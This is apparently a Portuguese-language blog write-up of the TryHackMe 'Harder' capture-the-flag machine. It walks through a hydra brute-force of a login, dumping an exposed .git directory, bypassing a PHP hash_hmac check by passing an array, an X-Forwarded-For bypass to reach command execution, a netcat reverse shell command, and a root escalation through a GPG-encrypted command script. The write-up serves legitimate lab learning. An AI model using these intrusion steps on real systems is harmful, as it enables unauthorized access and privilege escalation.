Post

Harder Writeup tryhackme

Segundo o autor da máquina tenta trazer a experiência do mundo real para o usuário, onde cada detalhe importa(e muito), é necessário analisar cada requisição e conhecer a distribuição da máquina alvo.

Harder Writeup tryhackme

Varredura de Portas

A primeira coisa que vamos fazer é descobrir quais portar estão abertas e que serviços estão sendo usados, para isso usaremos o nmap.

Img1

Descobrimos duas portas abertas :), as duas portas são as portas padrão de seus serviços (a porta 22 é a porta padrão do ssh e a 80 do http).

Vamos dar uma olhada nessa porta 80.

Exploração web

Descobrindo o domínio e o primeiro subdomínio:

Img2

Ao acessar a página web nos deparamos com isso.

Ao olhar o código fonte não encontrei nada de interessante.

Tentei usar o gobuster para procurar subdiretórios mas também não encontrei nada, então decidi dar uma olhada na requisição da página.

bastar apertar F12 e ir em Network

Img3

Ao olhar a requisição feita no diretório raiz ( / ) encontramos algo muito interessante nos cookies, há um cookie chamado TestCookie que aponta para um domínio com um subdomínio.

Img4

Ao colocar o domínio em nosso /etc/hosts conseguimos acessa-lo.

Img5

Descobrindo o segundo subdomínio:

Ao tentar fazer login com “credenciais padrão” eu consegui acesso na primeira tentativa (sorte talvez ✌️ ), mas se usarmos o hydra com as wordlists da seclists e o usuário “admin” conseguimos a senha em menos de 5 minutos.

1
hydra -l admin -P /usr/share/seclists/Passwords/Most-Popular-Letter-Passes.txt ***.harder.local http-post-form "/index.php:action=set_login&user=^USER^&pass=^PASS^:Invalid login credentials!" -t 30

Img6

Ao logar nos deparamos com uma mensagem de erro

Img7

Já autenticado tentei fazer novamente a procura de subdiretórios e arquivos e encontrei algumas coisas:

1
2
3
4
/auth.php
/secret.php
/credentials.php
/hmac.php

Mas ao acessa-los não temos nenhum resultado visual :( , então tentei fazer o fuzzing de parâmetros com o wfuzz, mas também não obtive nenhum resultado.

Depois de um bom tempo decidi tentar o fuzzing de subdiretórios e pastas com outra wordlist, a common.txt, e obtive um belo resultado ❤.

1
2
3
4
5
6
7
START_TIME: Mon Aug 17 02:15:34 2020
URL_BASE: http://***.harder.local/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://***.harder.local/ ----
+ http://***.harder.local/.git/HEAD (CODE:200|SIZE:23)

Achamos um .git, isso é me deixou muito feliz ( seu eu tivesse olhado as tags da máquina as coisas seriam mais rápidas).

E com a pasta .git exposta podemos fazer o dump dela.

Essa falha é chamada de “GIT Source Code Exposure”.

Poderíamos fazer o dump com com o wget, mas felizmente há uma ferramenta para nos ajudar a facilitar nossa vida, a GitTools, e junto com ela vem o dumper, que é o que vamos usar.

Ao executa-lo temos essa saída:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
/gitdumper.sh http://***.harder.local/.git/ diretório_destino
###########
# GitDumper is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances. 
# Only for educational purposes!
###########
[*] Destination folder does not exist
[+] Creating test/.git/
[+] Downloaded: HEAD
[-] Downloaded: objects/info/packs
[+] Downloaded: description
[+] Downloaded: config
[+] Downloaded: COMMIT_EDITMSG
[+] Downloaded: index
[-] Downloaded: packed-refs
[+] Downloaded: refs/heads/master
[-] Downloaded: refs/remotes/origin/HEAD
[-] Downloaded: refs/stash
[+] Downloaded: logs/HEAD
[+] Downloaded: logs/refs/heads/master
[-] Downloaded: logs/refs/remotes/origin/HEAD
[-] Downloaded: info/refs
[+] Downloaded: info/exclude
[-] Downloaded: /refs/wip/index/refs/heads/master
[-] Downloaded: /refs/wip/wtree/refs/heads/master
[+] Downloaded: objects/93/99abe877c92db19e7fc122d2879b470d7d6a58
[-] Downloaded: objects/00/00000000000000000000000000000000000000
[+] Downloaded: objects/ad/68cc6e2a786c4e671a6a00d6f7066dc1a49fc3
[+] Downloaded: objects/04/7afea4868d8b4ce8e7d6ca9eec9c82e3fe2161                                                                                                                                                                          
[+] Downloaded: objects/e3/361e96c0a9db20541033f254df272deeb9dba7                                                                                                                                                                          
[+] Downloaded: objects/c6/66164d58b28325393533478750410d6bbdff53                                                                                                                                                                          
[+] Downloaded: objects/aa/938abf60c64cdb2d37d699409f77427c1b3826                                                                                                                                                                          
[+] Downloaded: objects/cd/a7930579f48816fac740e2404903995e0ff614                                                                                                                                                                          
[+] Downloaded: objects/22/8694f875f20080e29788d7cc3b626272107462                                                                                                                                                                          
[+] Downloaded: objects/66/428e37f6bfaac0b42ce66106bee0a5bdf94d4e                                                                                                                                                                          
[+] Downloaded: objects/6e/1096eae64fede71a78e54999236553b75b3b65                                                                                                                                                                          
[+] Downloaded: objects/be/c719ffb34ca3d424bd170df5f6f37050d8a91c

Ao entrarmos na pasta, usando os comandos do git conseguimos ver algumas coisas bastante interessantes…

1
2
3
4
5
6
7
8
9
root@kali2:~/tryhack/harder/GitTools/Dumper/test# git status
On branch master
Changes not staged for commit:
  (use "git add/rm <file>..." to update what will be committed)
  (use "git restore <file>..." to discard changes in working directory)
        deleted:    .gitignore
        deleted:    auth.php
        deleted:    hmac.php
        deleted:    index.php

Hmm… Alguns arquivos deletados, vamos restaura-los :)

1
2
3
4
5
6
root@kali2:~/tryhack/harder/GitTools/Dumper/test# git checkout -- .
root@kali2:~/tryhack/harder/GitTools/Dumper/test# ls
auth.php  hmac.php  index.php
root@kali2:~/tryhack/harder/GitTools/Dumper/test# cat .gitignore 
credentials.php
secret.php

Ao olhar cada arquivo minuciosamente percebi que tudo gira ao redor do hmac.php, pois o index.php “da um require” nele.

Vamos dar uma olhada no hmac.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
if (empty($_GET['h']) || empty($_GET['host'])) {
   header('HTTP/1.0 400 Bad Request');
   print("missing get parameter");
   die();
}
require("secret.php"); //set $secret var
if (isset($_GET['n'])) {
   $secret = hash_hmac('sha256', $_GET['n'], $secret);
}
$hm = hash_hmac('sha256', $_GET['host'], $secret);
if ($hm !== $_GET['h']){
  header('HTTP/1.0 403 Forbidden');
  print("extra security check failed");
  die();
}
?>

Nessa parte bati muito a cabeça, pois o arquivo faz um require em secret.php, mas não conseguimos recupera-lo no dump.

Após um bom tempo decidi dar uma olhada no manual da função hash_hmac, e o primeiro comentário nos ajuda muito.

Img8

Ele está alertando que se passarmos uma array para $data nós teremos um retorno de resultado NULL, que é exatamente o que precisamos, pois se $secret for NULL nós conseguiremos saber o valor de $hm.

Fiz um código em php para conseguirmos o valor de $hm:

1
2
3
4
5
<?php
$secret = hash_hmac('sha256', [], 'naoimporta');
$hm = hash_hmac('sha256', test, $secret);
echo $hm;
?>

Ao executa-lo temos a seguinte saída se em $data colocarmos o valor teste:

1
2
3
PHP Warning:  hash_hmac() expects parameter 2 to be string, array given in /root/tryhack/harder/GitTools/Dumper/test/exp.php on line 2
PHP Warning:  Use of undefined constant test - assumed 'test' (this will throw an Error in a future version of PHP) in /root/tryhack/harder/GitTools/Dumper/test/exp.php on line 3
43b0cef99265f9e34c10ea9d3501926d2**************************

Ao colocarmos no navegador temos a seguinte resposta:

Img9

Passei muito tempo nessa parte, pois eu estava tentando colocar n=[] , mas se fizermos isso n será igual a uma string ([]), mas precisamos que n seja recebido como um array, para isso é necessário que declaremos n formulário GET como uma array, dessa maneira: n[]=

Ao adicionarmos o subdomínio em nosso /etc/hosts e acessá-lo nos deparamos com outra página de login, igual a primeira

Img10

E ao logarmos temos outro erro :’(

Img11

Mas podemos resolver isso de um modo simples usando o X-Forwarded-For e o Burp para que possamos “burlar” isto.

Com isso, conseguimos o acesso a página :)

Img12

Ao executarmos o comando “id”, descobrimos com que usuário estamos:

uid=1001(www) gid=1001(www) groups=1001(www)

Se tentarmos listar os arquivos do diretório da home do usuário evs conseguimos encontrar a flag de user

1
2
3
4
5
ls -la /home/evs
total 12
drwxr-sr-x    1 evs      evs           4096 Jul  7 22:29 .
drwxr-xr-x    1 root     root          4096 Jul  7 22:28 ..
-rw-r--r--    1 evs      evs             33 Jul  6 22:02 user.txt

E como qualquer pessoa tem permissão de leitura no arquivo user.txt, conseguimos a primeira flag

1
2
cat /home/evs/user.txt
****bf11a579dc5e********

Conseguindo acesso a máquina

Após isso tentei conseguir a reverse shell para facilitar minha vida, tentei diversas vezes, com php, e python, mas a shell sempre caia e a página não carregava mais, só consegui fazer funcionar com o netcat

Executei o seguinte comando :

nc seu_ip_da_vpn 1234 -e /bin/sh`

Deixei o netcat escutando na minha máquina:

nc -lvp 1234

Agora temos a reverse shell :)

1
2
3
4
listening on [any] 1234 ...  
connect to [seu_ip_da_vpn] from harder.thm [10.10.216.154] 43119  
id  
uid=1001(www) gid=1001(www) groups=1001(www)

Tentei conseguir uma tty shell com python e com o socat, mas sem sucesso, vamos ter que trabalhar com a shell limitada.

Eu procurei na mão, mas depois de achar o que precisava percebi que poderia ter usado o find.

1
2
3
4
5
6
7
find / -name *.sh 2>/dev/null  
/usr/bin/findssl.sh  
/usr/local/bin/run-crypted.sh  
find / -name *.sh 2>/dev/null  
/usr/bin/findssl.sh  
/usr/local/bin/run-crypted.sh  
/etc/periodic/15min/evs-backup.sh

Encontramos dois arquivos interessantes, mas por enquanto vamos nos focar no evs-backup.sh, que ao olharmos nos mostra:

1
2
3
cat /etc/periodic/15min/evs-backup.sh  
#!/bin/ash# ToDo: create a backup script, that saves the /www directory to our internal server  
# for authentication use ssh with user "evs" and password "U6****************$bw14"

Agora temos a senha do usuário “evs” para nos autenticarmos via ssh.

Img13

Conseguindo a flag de root

Agora vamos usar o linpeas, um script que nos ajuda a achar vetores para privilege escalation.

Fiz o download do linpeas da minha máquina para a máquina alvo com o wget

Executando o linpeas, ele encontra algo que pode ser nosso vetor de “ataque”

Img14

O run-crypted.sh nos mostra um caminho:

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/shif [ $# -eq 0 ]  
  then  
    echo -n "[*] Current User: ";  
    whoami;  
    echo "[-] This program runs only commands which are encypted for root@harder.local using gpg."  
    echo "[-] Create a file like this: echo -n whoami > command"  
    echo "[-] Encrypt the file and run the command: execute-crypted command.gpg"  
  else  
    export GNUPGHOME=/root/.gnupg/  
    gpg --decrypt --no-verbose "$1" | ash  
fi

Mas para fazer isso precisamos da chave pública do root para poder encriptar o arquivo, e é exatamente isso que o arquivo root@harder.local.pub é

1
2
3
4
5
6
7
8
9
10
11
12
harder:~$ cat /var/backup/root@harder.local.pub  
-----BEGIN PGP PUBLIC KEY BLOCK-----mDMEXwTf8RYJKwYBBAHaRw8BAQdAkJtb3UCYvPmb1/JyRPADF0uYjU42h7REPlOK  
AbiN88i0IUFkbWluaXN0cmF0b3IgPHJvb3RAaGFyZGVyLmxvY2FsPoiQBBMWCAA4  
FiEEb5liHk1ktq/OVuhkyR1mFZRPaHQFAl8E3/ECGwMFCwkIBwIGFQoJCAsCBBYC  
AwECHgECF4AACgkQyR1mFZRPaHSt8wD8CvJLt7qyCXuJZdOBPR+X7GI2dUg0DRRu  
c5gXzwk3rMMA/0JK6ZwZCHObWjwX0oLc3jvOCgQiIdaPq1WqN9/fhLAKuDgEXwTf  
8RIKKwYBBAGXVQEFAQEHQNa/To/VntzySOVdvOCW+iGscTLlnsjOmiGaaWvJG14O  
AwEIB4h4BBgWCAAgFiEEb5liHk1ktq/OVuhkyR1mFZRPaHQFAl8E3/ECGwwACgkQ  
yR1mFZRPaHTMLQD/cqbV4dMvINa/KxATQDnbaln1Lg0jI9Jie39U44GKRIEBAJyi  
+2AO+ERYahiVzkWwTEoUpjDJIv0cP/WVzfTvPk0D  
=qaa6  
-----END PGP PUBLIC KEY BLOCK-----

Já que temos a chave publica, podemos exporta-la:

1
2
3
4
harder:~$ gpg --import /var/backup/root@harder.local.pub  
gpg: key C91D6615944F6874: public key "Administrator <root@harder.local>" imported  
gpg: Total number processed: 1  
gpg:               imported: 1

E com ela exportada podemos encriptar um arquivo com ela

Vamos criar um arquivo com o comando que queremos que seja executado:

1
2
3
harder:~$ echo "cat /root/root.txt > /home/evs/root.txt" > comando  
harder:~$ ls  
comando     linpeas.sh  user.txt

Agora vamos encripta-lo com a cahve do root:

1
2
3
4
5
6
7
8
harder:~$ gpg -er root comando   
gpg: 6C1C04522C049868: There is no assurance this key belongs to the named usersub  cv25519/6C1C04522C049868 2020-07-07 Administrator <root@harder.local>  
 Primary key fingerprint: 6F99 621E 4D64 B6AF CE56  E864 C91D 6615 944F 6874  
      Subkey fingerprint: E51F 4262 1DB8 87CB DC36  11CD 6C1C 0452 2C04 9868It is NOT certain that the key belongs to the person named  
in the user ID.  If you *really* know what you are doing,  
you may answer the next question with yes.Use this key anyway? (y/N) y  
harder:~$ ls                  
comando      comando.gpg  linpeas.sh   user.txt

Com isso podemos executar o nosso comando.gpg com o execute-_crypted_ e pegar nossa flag de root :)

1
2
3
4
5
6
7
harder:~$ /usr/local/bin/execute-crypted  comando.gpg   
gpg: encrypted with 256-bit ECDH key, ID 6C1C04522C049868, created 2020-07-07  
      "Administrator <root@harder.local>"  
harder:~$ ls  
comando      comando.gpg  linpeas.sh   root.txt     user.txt  
harder:~$ cat root.txt  
*******672889e0756b09f********

Obrigado por terem lido, espero ter ajudado e ensinado algo de novo com o processo de resolução❤

This post is licensed under CC BY 4.0 by the author.